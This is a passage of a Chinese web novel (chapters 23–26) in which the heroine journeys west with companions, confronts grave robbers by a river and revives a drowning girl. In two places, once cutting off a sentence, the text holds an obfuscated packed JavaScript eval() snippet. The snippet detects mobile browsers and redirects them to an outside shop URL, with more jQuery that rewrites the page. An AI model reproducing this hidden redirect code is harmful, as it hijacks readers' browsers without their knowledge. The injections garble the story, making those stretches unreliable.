阿苓思考半晌,谨慎地回答:“主子们自从得知忍冬书院即将开学便忧心忡忡,忙着料理娘子上学的事宜,难免细末之处忽略娘子心情。除此之外,也没什么特别的事情了。” 祝弥:“我呢?我当时是什么状态?”又故意按着脑袋找补,“朋友太多,书院的日子过得太精彩,月余前的种种,恍如隔世。” 阿苓抬眼瞧了祝弥两眼,目光便不再低下,大胆责备数落起来:“娘子一如既往咯,顺心的时候是个顶好的巧人,嘴甜讨喜。不顺心的时候嘛,便撒泼打滚大发脾气。那日得知自己不得不去书院,气得把自己的随身玉镯都摔了个七零八碎。不敢等主子责罚,自己便不知是装晕还是真晕地倒地了。吓得夫人哭了好久。” 祝弥:“……” 六代单传的混世大魔王?难怪六艺一窍不通,正好被她无缝接盘。 “娘子,你头上的玉簪可不能再摔坏了。兰亭那日,你又乱扔玉,阿苓魂都要吓没了。”阿苓又叮嘱道。 “再买不就好了。”她可是用那玉簪换了个“投簪公子”的美名呢。 “娘子又说这种话!这是祖辈传下来的宝玉!”但是阿苓急得想打她的手。 23. 你挑着担我牵马 根据桓错的来信,一切行装交由他操办,祝弥只需带好自己轻松轻便,单骑从上虞出发,先往山阴汇合。 回头望望相送出郭的家人,又看看手里的东西。 是一尾周身金丝油亮的木制小鱼吊坠。 父亲刚刚送的。 这两日家里属实不安宁,母亲一心只和父亲吵架,吵完就拉着她哭。陪完母亲后,还要陪祖父看星星。相较之下,父亲对她别无所求,是最冷淡的那个,没想到最后一刻是父亲说着儿十七了也该出门走走了,还拉着她的手久久不放开。 说完手里就多了个这个小鱼。 金色小鱼着实精美,让她一瞬间怀疑父亲究竟是在不舍孩子还是在不舍小鱼。 “出门在外难免发生诸多状况。”父亲最后叮嘱道,“这是为父戴了半辈子的平安符,化解过不少困境。若弥儿偶发运势低迷,失去了方向,莫慌乱,静下心来问木鱼,它会给你指路的。” 祝弥:“……” 听阿苓说父亲是这几年才开始醉心五行一道的,原来这些清修问玄的人都这么迷信唯心吗? 话说回来,那天还真是她生日,因为之后的晚餐再没有长寿面了。 昨晚晚饭后阿苓已经是恋恋不舍,祝弥见她哭脸模样不由得笑了,随口一句:“不如阿苓就和我一起。” 没想到阿苓第一个反应竟然是去打量坐在一旁的祖父的脸色,似乎是征求他意见。 一瞬之间忽然许多小细节闪进祝弥脑海:阿苓会写字,写得比她好,这几日也都是阿苓在料理她要远行的身份证明通关过所等必备之物,母亲是管也不管只顾朝父亲发泄愤懑…… 阿苓,好像是祝家很重要的一份子,至少比她这个不孝子实用。 没等祖父表态,祝弥就立刻转口,笑道:“开玩笑的,桓家西行羽林军的编制名录已定,阿苓想跟着我挣个军功的机会是没有了。我走了之后,阿苓,要替我照顾好家里。” 说完她又觉得不对,这话,怎么那么像梁川生离家前对惠娘说的话? 阿苓却几乎跪下来,万分严肃:“娘子莫要折煞阿苓,主子们对阿苓恩重如山。阿苓这辈子,生是祝家的人死是祝家的鬼。” 吓得她也不敢多说多想。 家庭关系不可谓不是一门学问,处理起来真复杂。 逃掉也好,免得露馅。 马背上低下脑袋,把父亲给的小鱼戴上,又听得阿苓冲着她还没走远两步的背影大喊:“娘子放心,一路西去吧!” 声音之真挚嘹亮,让祝弥不由得捂了一下耳朵:“……” 什么西去……真的是,谁家的婢女能这么不会说话。正想着,又一个苍劲有力的声音悠悠朗朗送入耳: “吾观吾祝家儿,气宇清明,仪表风逸,朗目神秀,纵然远行在即,必将元亨利贞,吉无不利。” 转马回头,是祖父一脸慈眉善目正望着自己。 他一旁是喊完就掩面的阿苓,另一旁是相挽又打手的父亲母亲。一家四人并排站着,久久矗立地等她慢慢走远,直到身影变模糊,直到看她不见为止。而在他们身后,是熙熙攘攘的上虞城街口,行人行走,商人叫卖,临街新出炉的包子铺蒸笼刚刚开盖,白雾袅袅腾空,在楼与天的交际处被风一吹就散。 祝弥抬了抬手回应目光,又说不出什么话。 转头回来索性策马朝大路林间深处奔腾起来,一边“驾”一边酸溜溜地想:好沉重……还是和朋友们一起轻松。 ——也并不。 到了山阴之后,和桓错庾彦庭三人,老老实实并排站着等深情款款的王洵乐挨个道别。 王洵乐抿着嘴唇,眉头皱出川字,一脸愁容,比她祝家人送行还要粘腻不舍,抱完一个抱下一个。轮到祝弥的时候,她本想用万能的洁癖借口拒绝,但是对上那副被全世界抛弃深受伤害的苦脸,她只好双手挡在胸前,不情不愿十分勉强地被搂进一个怀抱。 “梦成一路出行不要玩得太开心外面比不得会稽安定一切小心行事不要忘了——”王洵乐忽然又用力紧了紧拥抱,动容得似乎话也说不下去了。再松开时,对着祝弥一脸疑惑,嘴唇张了又合,最终犹犹豫豫开口:“梦成,你——” 祝弥:“?” “……你这么瘦弱,舞得动刀吗?” 天朝官用刀制为环首刀。环首刀直刃单锋,厚脊薄刃,刀身厚重,适合率马冲锋朝前刺击或劈砍,杀伤力十足。桓错递给祝弥的这把,百炼锻钢,鎏金环首,鞘身错金。肉眼可见的华贵。 祝弥握着刀柄,掂了掂,又挥了挥,“还行,居然挺趁手的。” 桓错在一旁风风凉凉:“新锻的,减轻了一点重量。” 握过她的腕骨,就知道这人体虚力弱,多半是拿不起寻常官刀。她答应去西域的那晚,回家他就找了工匠连夜做刀,想着给她用大概也是装饰,又叫人弄得精致一点,佩着好看就好,杀伤性……聊胜于无吧。 她喜欢漂亮的东西,接过刀的时候,眼睛根本是放光。 “阿弥陀佛,什么时候轮到贫僧?”寂照大师站在祝弥身旁,双手合十,十分躬谦,像是在排队等王家大郎君的特别告别祈福仪式。 王洵乐:“?” 桓错:“?” 祝弥:大师原来您是这样的冷幽默大师吗? 庾彦庭赶了赶地上两脚,扑扇翅膀和嘎嘎声在所有人脚前响起。他不耐烦道:“喂,桓灵玦,鹅也要带?” 王妙一授桓家的这支五十余人府兵为西域羽林军,又封桓错为羽林中郎将。讲究精兵锐行,虽化身商贩带鹅便装出行,但是队伍中,将领还是有说一不二的领导权。 羽林中郎将神气十足地刀横企图造反的羽林郎面门:“闭嘴,小郎。” 庾彦庭咬牙又跺脚:“妙一阿姐凭什么不给老子当中郎将!我庾家是出不起这个人马吗!” 王洵乐又想起了什么,对他们说:“对了,还记得在梁川生的书桌上找到的只言片语残页吗。” “我找到了出处了,是淮南子。” ——昔者,共工与颛顼争为帝,怒而触不周之山,天柱折,地维绝。天倾西北,故日月星辰移焉;地不满东南,故水潦尘埃归焉*。 传说上古大战中,共工撞上不周山,撞折了四天柱之一,导致天向西北倾倒,日月星辰随之倾倒,地面向东南塌陷,江河尘埃在此汇聚。 也或许是曾经天塌地陷,生灵涂炭的一场灾难浩劫,被中原天朝人千年万代地相传记录下来,最后变成了一个仙雾缭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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桓错召集几人,于桌上缓缓展开一张地图,手指从最东指到最西。 “我们坐船,一路沿着长江逆流而上,经过寻阳、武昌、襄阳。在襄阳拆成四五支不起眼的寻常商队,前脚后脚看似不相干地各自陆行入长安。长安如今是苻秦之地,一座废城,不比当年,我们要快,途径长安继续北上。出关到西凉之后就好办了,西凉的张太守仍以当年的丝绸之路为营生,稳妥安定。就走经典路线,武威、张掖、酒泉、敦煌,最后西出阳关,向西北走大约二十日,就到鄯善了。所幸,鄯善是西出关隘的西域第一国。” 庾彦庭难得没有唱反调,也没有异议。 看起来顺风又顺路,这人真的有在好好做准备。祝弥赞许地点点头,只说:“我要坐如履平地的大船。” 倒是一向随和淡定的寂照大师摇摇头,指着地图东边,“非也,我们只走陆路。” 不容商榷的语气,说是强硬也不为过。 还没等桓错变脸,庾彦庭仰天大笑:“哈哈哈哈,寂照大师也要当我的亲兄弟吗!” 24. 你挑着担我牵马 传经弘法就像点火,所到之处,便点起星星之火。 求一个燎原之势,是寂照出家沙门以来,此行和此生的信条。 怀抱着一颗解脱众生的慈悲之心,他总是一路走向有人的地方,哪怕走了好几遍,哪怕碰壁的次数比遇见知音的次数多上数百。 桓错拿顽固的寂照没办法,他也想坚定自己的态度,和意见相左之人硬碰硬。但是寂照根本不硬也不相拼,平静又轻飘飘几个字“贫僧自行也可”就让他败下阵来。 所以最近祝弥和庾彦庭都不敢过多招惹他。 ——那人是阴公子。 同行几日逐渐察觉出寂照的旅途风格是“慢走慢看,甚至走走停停”之后,他便一直沉着脸,一言不发,不是看地图、算里程就是照看自己的鹅。 祝弥和庾彦庭也不理他。 晚间不赶路的在官府传舍的休息时间,他们没事干就坐在月下聊天,而寂照大师不顾奔波劳累,还要去附近他熟悉的村落化缘。 离开山阴沿江向西走这几天,体验也还好,乱世倒不乱,就像从城里到了乡下,最明显的区别是脚下不再是石板路,而是泥泞黄土和杂草。 可有个怪事,各个村庄的人口密度似乎过于不均匀。虽然都是泥墙草瓦,屋舍简陋,但有的村人多,青天白日都人头攒动,不下田,不谋生,闲坐在树下死死盯着路过的商客。有的村落自散发着阴云沉压荒芜破败的气场,连村口的树都凋敝凄零,只剩一驼背老叟在路边痴痴空唤着孙儿归家。 庾彦庭告诉祝弥,会稽郡周边这些密度异常稍显杂乱的村落,叫做侨郡,都是南渡而来的侨民,多数是白籍。 侨民,祝弥知道,北方人客居南地嘛,这片原本不是他们的祖田,是避难寄居于此。 但是,白籍是什么? 庾彦庭回答,白籍与黄籍相应。官府为了区分祖籍本地人和外来的流民,就分别用黄纸和白纸给他们上户籍。黄纸经过特殊处理,经年纸张不生蠹虫,纸缝不绽解,有祖宅的人生活稳定所以使用黄纸。而白纸没有特殊处理,易破损撕毁,所以领了白籍的人就意味着流离失所,朝不保夕。 “这些白籍,居无定所,人多田少,又一心向往着向北伐秦燕,夺回他们的故土,是最容易闹事的群体。之前的怀真起义,就是一路了吸纳这些白籍和浮浪人充军,弄得沸反盈天,好不混乱。” 祝弥问:“那怎么有些村人多,有些村却无人?” 庾彦庭:“一时之间长江以南挤满了人,资源抢占,难免摩擦生隙。白籍与白籍之间有利益争夺,白籍与黄籍之间也有利益冲突。一打起来,誓不罢休,不是你村死,就是我村亡。我家里人时不时要处理这些事,头疼得很。哎,不说这些了——” 庾彦庭忽然态度骤变,十分暧昧地凑近和祝弥说,朝廷的官方文书只定了羽林中郎将的名字,可中郎将下面还有羽林左监右监之分,这一字之差,孰高孰低,谁听谁的…… 祝弥原先还不知官职左右的尊次之分,但一听庾彦庭一副勉为其难的样子说自己要当羽林右监,顷刻明了。 “凭什么你是右监,我也要当右监。”她不服。 庾彦庭一笑:“就料到你会这么说。我很讲武德的,来比试吧,刀剑枪戟弓,梦成随便挑!” “先说好,尊卑有别,往后左监日日给右监倒洗脚水!”他又补充。 “哼,比就比。” 二人当即面对面相距两三丈,严肃站定。 第一轮,比刀。 两人各自手握佩刀,不出鞘点到即止的那种。一声令下,双双举刀,对向相冲而来,不约而同地奋力呼喝。 祝弥:“嚯——!” 庾彦庭:“嗬!” 两道身影交错后,其中一个立刻抱腹跪了下来,另一个定格着出招后的收势姿势,然后缓缓直立起身,淡然地拍拍衣角。 祝弥:“唔唔,好痛!” 庾彦庭:“呵呵,简单。” 第二轮,比枪。 有人一喊开始便以长枪作箭投了出去,想抢个出其不意剑走偏锋。 看着离自己脚下还有一丈远就落地的祝弥的枪,庾彦庭一手端着枪,枪头直指她面门,瞪着眼睛问:“梦成刚刚是在?” 五局三胜,最后一轮,比弓。 祝弥先手,站定平肩,搭箭开弓,深呼吸,瞄准,撒放—— “嗡……”一声绵长余韵,弓弦回弹自顾自拨动。脱靶都算不上,箭矢原地掉落,这叫空放。 祝弥:“……” 庾彦庭的嘴角根本合不拢,理了理头发,摇着头自言自语:“百步穿杨庾彦庭,勇武绝伦、所向披靡,这一趟西行下来封狼居胥了可怎么办,不得美死我阿母。” 说着起势搭弓就要放箭,瞄准不远处定为靶的树。 ——“那是什么!快看!” 祝弥忽然指天大喊。 被她咋咋呼呼的动作吓了一跳,庾彦庭手上的弓箭松了,“咻”地一声,箭歪歪地飞进树林深处里。自己还不由得循声去看,空中只有一轮月亮什么也没有。 还没等祝弥得逞地笑出声来,箭去之处却传回来一声小小的“哎呀!” 完了,射到人了? 两人对视一眼,立刻连滚带爬跌跌撞撞地冲进树林深处,只见箭矢低低地扎在一树根上,旁边,屁股着地摔着一个惊魂未定的小孩。 八九岁,瘦弱,惊恐地瞪着一双大眼睛。 小孩见人来,连忙改变姿势,磕起头来,“不……不小心冲撞贵人!小子死罪!” 祝弥和庾彦庭悄悄松了一口气,看来是没受伤。又看见小孩背上还用背带裹着一个更小的小孩,吃着手指头,另一手抓着半块饼,呆呆愣愣,不哭也不闹,没在睡觉,睁着眼睛。 祝弥连忙将人扶起,发觉这是个极干瘦的小女娘。 问她来意,原来她是附近的村里的小孩,听说今晚有一群商客夜宿此处,好奇心驱使,就躲在树林暗处偷看,不想被一支箭差点送了小命。 祝弥要送她们回村,小孩却忽然支支吾吾不愿说出住址。 一直旁观的庾彦庭忽然冷哼一声:“到底是来做什么的,是不是想趁着我们睡着,往家里顺点值钱物什!找死吗?” 这人姿态口吻一副久居上位者的模样,抱胸骤然摆起谱来,语气之冷厉,祝弥都不由得多看他两眼,还以为他是真生气。 小孩瞬间被吓得又跪下来,以头抢地,不敢再有隐瞒:“家中阿耶与人出门趁夜行事,就在附近,小子只是带着弟弟偷偷过来看看贵人。” 小孩真好唬,一吓,什么奇奇怪怪的词都出来了。 祝弥和庾彦庭对看一眼,庾彦庭下巴朝前一扬,说:“带路,领我们去看看。” 那小孩虽不太情愿,但是还是老老实实在前方引路。 跟着小孩穿过箭去的树林,又走了一段野路,来到一段视野开阔的江边,不远处又是另一片小丘和树林。林前有七八个大汉,都举着灯弯腰像是在找东西,说话也是悄声,生怕惊动了夜里的什么。 缓缓水声和轻轻风声中,有脚步拨开矮草的窸窣声传来,那几人听见动静,警惕起来,怒喝一声:“什么人!” 小孩便带着再也忍不住的哭腔率先冲了出去,“阿耶……” 那几名大汉也没理会跑来抱腿的小孩,注意力全在祝弥和庾彦庭身上 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……发丘中郎将?盗墓的?那不都是凶徒……祝弥见那群“中郎将”举起手里的铁器,正一步一步向他们走来,不由得额头冒汗,两眼几乎一黑。 庾彦庭出游在外最喜的一点就是结识形形色色之人,习惯了见人说人话,万分泰然自若,手从腰上的佩刀离开,哂笑着拱手:“小道对风水也小有研究,只是好奇,我们一路向西至此,看下来方圆百里内,此处是不可多得的‘前有照、后有靠’,平坦开阔,藏风聚气之宝地,不可谓不明堂也。” 他语气一转,遗憾又奇怪:“果真没有洞子吗?诸位不要紧张,小道一介无名之士,万万不敢打扰各位好汉的工事,只是刚出道观历练,还未亲眼见识过发丘过程,是真好奇。”说着他也蹲下来,挖了挖土,不由得啧啧几声,“江宽舒缓,草木光泽,黑土肥厚,真是好地啊。我都想埋在这里。” 对方见他们只有两个人,谈话态度也好,似乎真是好奇心旺盛的刚出门的年轻人,也不愿多生事,戒心便放下来一点。从中还走出来一个人,端着个风水盘,挠挠头朝庾彦庭问道:“我们也很奇怪啊,小道长你看看这盘,可是我们算错了什么?探穴总是失准,哥几个已经白挖好几晚了,但这附近——”忽然他凑近庾彦庭,以极低的气声说道,“确实是有‘宝殿’的。” “前几日家中小儿野玩,无意拾回一个明器,就说是这附近的。啧啧,可值钱呐。” 庾彦庭惊讶万分,双眼大放异彩,便拜把子了似地和那人勾肩搭背,加入其中,帮忙拿着盘一会对水一会对山丘,卜算起来。 被晾在一旁的祝弥没那么自来熟也不敢靠太近:“……” 她便观察起附近周围,他们正身处两片树林间的开阔地带,一面是小山,一面是水流。风水是什么,她不知道,但是她知道这些人……人人身上都有鬼。 倒都是安分的鬼,唉,只是不知道人面之下是好心还是坏心。 又不经意打量起这群人,白天是普通村民,晚上就变成了盗墓贼,个个身着短打衣裳,瘦却有力,一看就是能吃苦干活的青壮力量。再看小孩,在女孩背上的那个小男孩从背上下来了,头大身小,瘦得让人揪心,还在呆呆地吮着大拇指。先天缺失魂魄的症状原来是像特殊儿童吗,这不,又站在江边口齿不清地说着什么。 说起来,他那姐姐也是,一个比一个瘦,身量看起来是八九岁,谈话和察人颜色的神智倒像是十二三岁的。饿得不长身体吗…… 咦? 祝弥登时警铃大作,朝那弟弟大喊:“喂小孩,怎么只有你一个,你姐姐呢?!” 25. 你挑着担我牵马 那些男人因为有庾彦庭的加入,正围在一起专心致志地盘风水、问方位,忘了看管小孩,只由他们在一旁玩水捉虫。听见祝弥这么一喊,纷纷朝江边小男孩方向扫去。小孩的父亲第一个冲了过去。 小男孩对大人的惊呼无知无觉,愣愣地指着江水,口中“哒、哒、哒”地小声念着,姐姐在他眼前不见了,神色却不曾有异。 祝弥借着火光也循江望去,江面一片漆黑,河流不急,小孩是悄无声息地不见了吗。 身后忽然有人颤声道:“水伥……” 其余人也害怕起来,“溺水不呼喊,多半是被水伥骗着拖了下去了罢。” 那父亲朝水面喊了几句女孩的名字,回应他的只有江水撞在河床和石头上的汩汩水流声。 站在岸上如何能把水中之人望回来,祝弥朝那人急道:“你倒是下去找找啊?!” 抱着男孩的男人犹豫着不应。他身后人解释着:“这水伥是溺死在江里的水鬼,专骗无辜活人下去。有替死鬼替它做水伥了,它才得以解脱重获自由。” 有人安慰道:“罢了罢了,小儿一个,又是个女娃,倒少口饭吃。阿兄,就如此吧。” 也有人丝毫不掩饰,带着怪模怪样的腔调:“事已至此,阿兄你家中还有老母,不如……就用这件事换个好名,去里正那留个记案,万一日后有什么‘举孝廉’的好事——” 庾彦庭“啧”了一声,回瞪那人一眼。那人便不敢继续说了。 祝弥不理会那些人的古怪言论,似乎听见水中的动静,忽然抢下男人手中的火把,自顾自地顺着江往下跑起来。 “跟着走啊!”庾彦庭带着人一起跟上。只见祝弥一边跑一边朝江上确认,像是看见了其中的什么东西,终于在一处岸边停了下来,伸长了火把,照亮半面江水。 她猛然回头,朝那父亲:“快点,你去那里确认一下!” 男人望向她手指之处,江水中央,潺潺水流映着火光潋潋,与其他地方相比并没有独到之处,倒像是这人胡乱一指,企图诓人入水似地。又谨慎地看向祝弥,忽然觉得这两人的出现和加入也着实怪异,难不成水伥还有陆行的吗……可如今这世道,出现什么怪事都不能不当回事…… 祝弥见他万分犹豫,跺着脚催促,“快点呀,那不是你女儿吗!溺水比不得其他情形,分秒必争,晚了就是死了!去探探那处就好!” 男人终于松动,抬脚,踏进江水两步。 “阿兄,”身后有个开襟短衫的年轻人冲上来拽住他,“近日降水异常,水势不清,危险!” 犹豫的脚步又止住了。 “你小孩和你们要找的墓穴,多半就在那!”祝弥又急道。 在她的视角中,江水自西向东,绵绵不绝,她所指的那处水中央,却有一团鬼气像是生了根似地驻扎在那,飘出水面来娉婷袅袅,被什么东西缠绕似地晃晃荡荡。她原本不想说太多,见他们不把人命当回事,还是自己的孩子,情急之下也顾不得了。 孩子不重要,那古墓总该是他们关心的东西了吧。 可此话一出,所有人顷刻凝息相视。 而祝弥毫无察觉,还在焦急地指出方向:“在那!” 没人回应,她纳闷回头,却被一团火把迎面撞上,险些后退。 是那靠近过来的年轻人,面无表情两个字:“你去。” 火光从下往上照得他的脸明暗相反,像个惊悚傩面。 “喂?!过分了吧!”庾彦庭欲挺身而出,却忽然有利器横在身前,是身边的人用动作暗示他莫要轻举妄动。 江边陷入了一个微妙的安静氛围,忽然无人再说话。 “啊?”祝弥以为听错。 “你去探。”他又重复一遍,火把又离祝弥近了两分,不容商榷的语气。 是威胁。 这下换祝弥犹犹豫豫,挪了两步临到水边。她懊恼心想:怎么说了实话还成了反效果的。可实在耽误不得,索性心一横,咬着牙往水里迈了两步,冰凉的流水顷刻间水蛇盘柱似地包裹着她的脚,湿意伴随着密密麻麻的触感让她两眼一黑,果不其然头晕目眩,心跳过速。 她想吐。 见她止步,身后举着火把的手不耐烦地推了祝弥一下。 她脚下一软,“哗啦”一声,人直接跪趴在水中,还呛了两口水,“不行,我畏水……” 那不知死活的手又要去推赶她,举着的火把又要燎到她头发,庾彦庭看得心惊,再也顾不得了,抬手几下拍掉身体附近的阻拦,就要冲过去,不知还来不来得及—— “咻——” 一股杀气森然破空而来,疾驰而过的箭矢精准地刺穿火把,摘下火光径直射入水面。摁死一只萤火虫一样地,火把熄灭了。 一瞬之间,又是一片寂然,只有水吞没火的滋滋声。 “你再碰她一下试试?”一个阴沉沉的声音响起。 所有人望去,箭来之处,树林里沉步踏出一个收弓的俊挺身影。 身影几步走出树林,走进空旷之处,一张充满了寒冽肃杀之意、似白玉如琢如磨的脸,出现在众人面前。 “什么人!”村民们惊问。 还能是谁! 庾彦庭一边“哎哟喂”地托起趴在水里的祝弥,一边给桓错甩了个眼色:来得真够慢的! 走近后桓错换了刀,刀鞘随着重力随意滑落,一瞬间寒刃照月夜。 只见他左手持刀,右手曲肘,刀背在自己右袖上慢慢一擦,不再说话。 火把脱手的那年轻人先是怒意横生,又仔细打量来人,仪表绝非常人,而且势若断金的箭术让他十分惊疑,回头看自己人,“阿兄……” 那群村民也警惕起来,手中的家伙什纷纷立起。 下一秒,桓错背后的树林亮起了一片星火之光,铺天压地地袭来,是一大群人。 祝弥被拖到岸上,终于从眩晕中缓和过来,不顾自己是两边阵势的尖锐交锋点,绝望地朝天空大喊:“快去救人啊——” 桓错身后立刻有个人冲出来,嘴上说着“我水性好”,便照着祝弥所指方向潜入水中,“扑通”一声。 村民们见对方人多势众又派人去救人,气势悄然减弱,却还是硬着头皮不服输似地僵持着。不一会,那人果然从水中拖出一个瘦小身影,已是毫无知觉,全无生气。 那小女孩的父亲当即冲过去俯身查看。 “滚开!”祝弥爬过去,挤开所有人,仔细检查起女孩。先是贴面唤她,又抚上脉搏,毫无反应。 其余人见状皆是扼腕哀叹一声,祝弥没理会他们,手脚麻利地解开女孩领口,女孩父亲见这失礼动作,皱眉想阻止。桓错身形一闪,挡到那人面前。 祝弥继续抬起孩子的下颌,清理出口鼻处吸入的水草杂物。而后用自身的重量双掌交叠在女孩胸前垂直按压。这莫名的动作在其他人眼中意义不明,却有条有理,节奏很快,不知按了几次,又见她俯身在女孩嘴里吹气。 以嘴对嘴本该是私下与亲密之人狎昵的动作,是不可示于人前的隐私,却被这人对着一个溺水小孩做得光明磊落、坦坦荡荡。 坚决利落的架势让一旁的庾彦庭都不由得愣愣出声:“梦成……你这是在……?” 祝弥听不见,自顾自地重复按压和渡气的两个动作,一遍、两遍、三遍……不知几遍,终是力竭了,仰头喊道:“快来个人帮我……一个人好累啊……” 羽林军一行人已经控制好当下事态,村民们不再有抵抗的动作,桓错便也不需要警惕,扔了刀,半蹲在她身边,只见她不管自己半身湿漉漉,江石蹭破手掌的血迹洇在女孩的脸上和衣服上也不曾察觉,一个劲做着像是救人的动作,脸上不知是汗还是水,神情无尽潮湿,又万分认真。 “如何……做?”他问。 祝弥简要教他按压胸腔的动作和诀窍,自己则专心俯身对着溺水之人的脸,数够按压的次数便喊“停”,她往人嘴里吹气,吹完又说“继续”,如此交替。 终于渡气至某一刻,女孩的身体触电似地震动一下,嘴里吐出大股大股江水,剧烈咳嗽起来。 救过来了。 祝弥这才卸力一般一屁股坐倒在地上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199797|195123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “阿耶……”小女孩弱弱地呼喊着。 被呼喊的男人颤动万分地过来抱住了她。 “弟弟……把饼扔进水里了,我好像没捡回来……”女孩哭道。 看着原本紫唇紫脸的半个死人瞬间变得生动起来,庾彦庭叹道:“你们祝家还有这等复生的高超医术吗……” 终是一场有惊无险,村民们这边略有尴尬,挠着头和祝弥道歉,说是村里老人都说,水伥擅蛊惑人心,心志不坚的人最容易因为三言两语受骗入水。 刚刚祝弥一开口说墓穴就在水中,那几人心里想的是:没跑了,千年的水伥偷了张人皮人模人样地上岸害人了,风水知识是一点不懂,还门外汉似地“墓在水中”,招人发笑。 桓错一脸铁青,原没想让这件事就此轻轻揭过,正考虑着是要摆出官威亲自逼问这伙人的身份来路,还是交给附近的官衙,却被祝弥阻止了。她一身沾了水的狼狈不堪,在他手臂上轻拍两下,只疲惫摇头:“算了,都不容易。” 桓错看看那群人,又看看祝弥,不再说话,只是还冷着脸,叫她摊开手掌给他检查伤势。 庾彦庭倒是当没事发生似地和这些人吹起牛来,说他们这位梦成兄可是来自会稽最有名的道观,是高门世家都争相拜见的授了箓的得道大师。祝大师说的东西,还从未失准过。 说到这桓错给他甩来一个眼刀,吓得庾彦庭故作无辜地撇撇嘴。 先前下水救人的那位羽林郎也附和道:“巧了,这溺水小女孩的脚嵌在河床的一处夹石凹陷处。那凹陷处的河沙摸起来不同他处,又软又散,水也格外凉。” “皓云。”桓错也给了这个唤作皓云的羽林郎一个冷眼,示意不许再说。 两边人终于收拾各自物什,散开各归各位,今夜的闹事归于平静。 回到夜宿的传舍之处,寂照大师不问世事般已经安然歇下了。 桓错低声和祝弥道:“那些人不是寻常村民,身手矫健,敢盗古墓,是有野心能干狠事的人。若我来得晚了,他们为了钱财起了贪念,杀了你们两个也不一定。” 又转对庾彦庭,语气变冷:“你好奇心重爱攀谈自己去便是,再带梦成乱走……欠揍了是吗。” “哼……哪有那么玄乎,我看他们才算半个门外汉,寻龙点穴的手段都不太熟练。”庾彦庭想呛嘴,但到底是有些心虚,转移话题般地和祝弥说:“哎,梦成,我原先真以为那小孩是被水伥拖走了,毕竟他们刚刚才说附近常有小孩失踪……可那河里真的有墓吗?鬼还能指路不成吗?” 祝弥后知后觉地感受着掌心的疼,回答:“我哪知道水伥是什么,只知那小孩溺水了连亲生父亲都不敢救。我看啊,在岸上旁观的才是水伥吧。” “其实溺水失控是一瞬间的事情,成人溺水可能都喊不出来一句话,别说更容易受到惊吓的孩子了。总是一动不动静悄悄,甚至在众人眼皮子底下……就溺毙了。”祝弥深吸一口气,继续说:“至于墓嘛,是我猜的,确实是情急之中想骗他们下水,哈哈哈……毕竟沧海桑田,江河改道,如今的风水宝地在坟墓初葬的当年可不一定就是宝地。” “不过,那处确实是有鬼,一团残魄。彦庭你说,江面上为什么会有一缕死气沉沉的鬼魄呢?”她又问。 庾彦庭皱眉深思。 桓错说:“魂为阳,魄为阴,神聚为魂,形聚为魄。说明那处阴重阳竭、有形无神。是有一具未腐的死尸吧。” “对!可入水的皓云没察觉有异,说明尸在河沙之下。不腐又深埋……不是古墓是什么?” 祝弥也能料得到这缕被激活似的陈年鬼魄是为何,村民们自己说了前几日小儿拾回墓葬的古器,恐怕就是那低智的弟弟在江边或者江里捡到的。一个天然空缺一丝魂魄的活体经过,那缕幽幽鬼魄便凭着本能,追着容器的气息就从深处翻涌升腾起来了。对着男孩或诱或哄,让他把手上的东西扔进江里。姐姐倒是急坏了着急去捡…… 怎么是弟弟无意害了姐姐的戏码啊…… 一阵夜风而来,祝弥才骤觉湿冷后怕之意,裹紧了自己,快步回房内更衣。 26. 你挑着担我牵马 换掉湿衣,祝弥看着半面都擦破了的红肿手掌不知该如何处理,正欲直接上床,不想门外一阵敲门声。 “谁?” “开门,金创药。” 开了门,祝弥觉得好笑,“金创药大人原来是懂得敲门的呀,还以为你都走窗呢。” 桓错:“……” 接过药可对方没有要走的意思,祝弥问:“还要做什么?” 他只低头盯着她握不拢的手掌,犹豫一下,说:“我一时疏忽……对不起。” 祝弥忍不住笑出来,“就为这事?”根本小事一件,擦破点皮,至于那么神色严重吗。 面前人听闻笑声倏尔眼光上抬,视线有些模糊,没答话。 “我很有契约精神的,这点小事还不至于。你是怕我回会稽还是怕自己被上吊——”对方冷不丁忽然抬手,直冲祝弥面庞而来,吓得她后退一步躲开,眉头皱起来,“做什么?” 桓错的手悬在空中,也不尴尬,伸出一指指向更具体之处,嘴唇终于动了动:“你不照镜子的么?” “嗯?”顺着指示,她往自己嘴唇上摸了摸,摸下小小一片黑色水草。大概是给女孩做心肺复苏的时候惹上的。 掸掉。 桓错却借着她后退的动作自作主张地进来了,没等祝弥说句话,径直坐到桌子前,双肘支在桌上,指尖撑额虚虚地挡住脸,喃喃吐出几个字: “寂照,好烦。” 随着一声长叹,满身的颓势铺开。 原来是要倒苦水。 祝弥:“……”怎么有点让人发笑。便坐在他旁边,打开了金创药的盖子。 “三日来走了百里不到,才刚出会稽。他今晚回来时还和我说明日得停留一日。” 祝弥一边上药一边安静听他发牢骚,不想这人又一副自暴自弃的懊恼语气:“这么走下去走到天荒地老、白发都要长出来了也走不出中土……不想管他了。” 她嘴角弯起来,开始往掌心里倒药。 忽然那人抬起头,语气又一扬,盯着她道:“梦成,不如我带着你,我们轻装便行,两匹快马先走。寂照慢便任他慢,交由彦庭照看吧。” “啧!”吓得她手一抖,半瓶金创药堆在手上,火辣辣地痛,皱眉看向他。他已经丧气地趴了下来,变成额头贴桌子,声音也含糊起来:“说说而已,别生气……” ……也怪任性的。 祝弥便学他懊恼的语气,说:“是啊,我也感觉走不到大漠了。不如现在直接掉头回家吧,反正还没走远——” “那还是继续向西吧。” 这态度变化和他阴晴转换的变脸一样丝滑,顷刻间从一个摆烂颓废人又变成了一副负责负到底的正人君子模样。 